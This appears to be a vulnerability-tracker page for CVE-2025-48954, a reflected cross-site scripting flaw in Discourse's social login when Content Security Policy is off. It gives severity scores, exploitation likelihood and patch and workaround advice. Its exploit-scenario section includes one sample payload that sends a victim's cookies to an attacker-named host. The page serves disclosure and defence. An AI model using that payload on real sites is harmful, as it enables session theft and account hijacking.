Skip to main content

Discourse CVE-2025-48954

| EUVDEUVD-2025-28274 HIGH
Cross-site Scripting (XSS) (CWE-79)
2025-06-25 security-advisories@github.com
8.1
CVSS 3.1 · GitHub Advisory
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

CVSS 8.1 (High) with vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N indicates a network-exploitable vulnerability requiring no privileges and only low complexity, but requiring user interaction (UI:R). The impact is significant: high confidentiality breach (C:H) and high integrity compromise (I:H) with no availability impact. Attack complexity is low, suggesting straightforward exploitation once a victim clicks a link. However, the real-world risk is MODERATED by three factors: (1) the vulnerability requires CSP to be disabled—a known security best practice that most production Discourse instances likely enable; (2) it requires user interaction (phishing), increasing the barrier to mass exploitation; (3) this is a beta-version disclosure (3.5.0.beta6 patches it), suggesting limited real-world deployment of vulnerable versions in production. Without EPSS score or KEV/CISA status data provided, the practical exploitation probability is estimated as MODERATE to HIGH among unpatched instances with CSP explicitly disabled. The workaround (enable CSP) is simple and likely already implemented on most production systems, reducing urgency for organizations with proper security baselines.

Exploit ScenarioDerived

An attacker crafts a phishing email or social media post with a malicious link pointing to a Discourse instance's social login endpoint (e.g., '/auth/google/callback') with injected XSS payload in a parameter (e.g., 'state=<img src=x onerror=fetch("https://attacker.com/steal?cookie="+document.cookie)>'). The victim, already logged into their social provider, clicks the link on a Discourse instance with CSP disabled. The application processes the login callback without properly sanitizing the injected parameter, executing the attacker's JavaScript in the victim's browser context. The script exfiltrates the victim's session token or CSRF token, allowing the attacker to hijack the account or perform authenticated actions (post spam, modify profile, escalate privileges if admin, etc.). CSP being enabled would block the injected script execution at the browser level, preventing exploitation even if input sanitization is absent. Exploitation requires social engineering (UI:R) but has low technical complexity; no special tools or knowledge of Discourse internals are required beyond basic XSS payload crafting.

Act Now Prioritize within 24-48h. Why: HIGH severity + EPSS > 10%.
Patch available 14.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 15, 2026

Discourse versions prior to 3.5.0.beta6 contain a reflected cross-site scripting (XSS) vulnerability in social login functionality that is only exploitable when Content Security Policy (CSP) is disabled. An unauthenticated attacker can craft a malicious link leveraging social authentication endpoints to inject arbitrary JavaScript, potentially stealing session tokens, credentials, or performing actions on behalf of the victim. The vulnerability requires user interaction (clicking a malicious link) but has high impact on confidentiality and integrity with no availability impact.

Affected VersionsENISA

discourse < 3.5.0.beta6

Affected Packages

euvd discourse fix: 3.5.0.beta6

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This is a CWE-79 (Improper Neutralization of Input During Web Page Generation) vulnerability specific to Discourse's social login authentication handlers. The root cause appears to be insufficient input sanitization or output encoding in the social login callback/processing endpoints when CSP is not active to provide a secondary XSS defense. Discourse (CPE identifier: cpe:2.3:a:discourse:discourse) is a Ruby on Rails-based discussion platform; the vulnerability likely exists in the OmniAuth integration layer or social provider callback handlers that process untrusted user input from OAuth providers or redirect parameters without proper encoding. The vulnerability is context-dependent on CSP being disabled, indicating that Discourse intentionally relies on CSP as a primary XSS mitigation in production deployments. Affected versions: Discourse < 3.5.0.beta6.

Know when Discourse gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 8.1 HIGH
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

3
Analysis Updated
Apr 16, 2026 - 06:36 EUVD-patch-fix
executive summary
Patch available
Apr 16, 2026 - 05:29 EUVD
3.5.0.beta6
CVE Published
Jun 25, 2025 - 14:15 nvd
HIGH 8.1

DescriptionGitHub Advisory

Discourse is an open-source discussion platform. Versions prior to 3.5.0.beta6 are vulnerable to cross-site scripting when the content security policy isn't enabled when using social logins. Version 3.5.0.beta6 patches the issue. As a workaround, have the content security policy enabled.

Executive ViewAI

Why It Matters

Discourse instances with disabled Content Security Policy are vulnerable to reflected XSS attacks through social login endpoints, allowing unauthenticated attackers to steal session tokens and credentials via malicious links. Organizations running Discourse versions before 3.5.0.beta6 with CSP disabled face risk of account compromise and unauthorized access to sensitive discussions and user data.

Recommended Action

Within 24 hours: Audit all Discourse instances to identify versions prior to 3.5.0.beta6 and verify CSP configuration status. Within 7 days: Upgrade to Discourse 3.5.0.beta6 or later; if immediate upgrade is not feasible, enable Content Security Policy. Within 30 days: Conduct post-patch validation, review authentication logs for suspicious social login activity, and implement security awareness training regarding malicious link risks.

Business Impact: High
Compensating Controls

If upgrade cannot be completed within 7 days, enable Content Security Policy (CSP) to mitigate XSS injection. Apply vendor patch to Discourse 3.5.0.beta6 or later as primary remediation.

Threat Intelligence Overview

EPSS Score
14.0%
Top 6% exploitable
Exploit
POC
Public exploit code exists
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 14.0%
Patch available Yes
Active threat Yes
Deciding rule
HIGH severity + EPSS > 10%
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

74
Low Medium High Critical
KEV: 0
EPSS: +14
CVSS: +40
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Related Vulnerabilities in Discourse XSS and Information Disclosure Flaws

View all 2
CVE-2022-46162 CRITICAL POC
9.8 Nov 30

discourse-bbcode is the official BBCode plugin for Discourse. Rated critical severity (CVSS 9.8), this vulnerability is

CVE-2026-27934 HIGH POC
8.7 Mar 19

Unauthorized information disclosure in Discourse discussion platform versions prior to 2026.3.0-latest.1, 2026.2.1, and

CVE-2024-47773 HIGH POC
8.2 Oct 08

Discourse is an open source platform for community discussion. Rated high severity (CVSS 8.2), this vulnerability is rem

CVE-2026-26265 HIGH POC
7.5 Feb 26

Discourse versions prior to 2025.12.2, 2026.1.1, and 2026.2.0 contain an insecure direct object reference (IDOR) in the

CVE-2021-3138 HIGH POC
7.5 Jan 14

In Discourse 2.7.0 through beta1, a rate-limit bypass leads to a bypass of the 2FA requirement for certain forms. Rated

CVE-2026-26077 MEDIUM POC
6.5 Feb 26

Unauthenticated attackers can submit forged webhook payloads to multiple email provider integrations in Discourse versio

CVE-2023-38706 MEDIUM POC
6.5 Sep 15

Discourse is an open-source discussion platform. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploi

CVE-2024-53991 MEDIUM POC
5.9 Dec 19

Discourse is an open source platform for community discussion. Rated medium severity (CVSS 5.9), this vulnerability is r

CVE-2025-48877 CRITICAL
9.8 Jun 09

Discourse versions prior to 3.4.4 (stable), 3.5.0.beta5 (beta), and 3.5.0.beta6-dev (tests-passed) contain a critical vu

CVE-2023-47121 CRITICAL
9.8 Nov 10

Discourse is an open source platform for community discussion. Rated critical severity (CVSS 9.8), this vulnerability is

CVE-2022-39355 CRITICAL
9.8 Oct 26

Discourse Patreon enables syncronization between Discourse Groups and Patreon rewards. Rated critical severity (CVSS 9.8

CVE-2021-41163 CRITICAL
9.8 Oct 20

Discourse is an open source platform for community discussion. Rated critical severity (CVSS 9.8), this vulnerability is

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy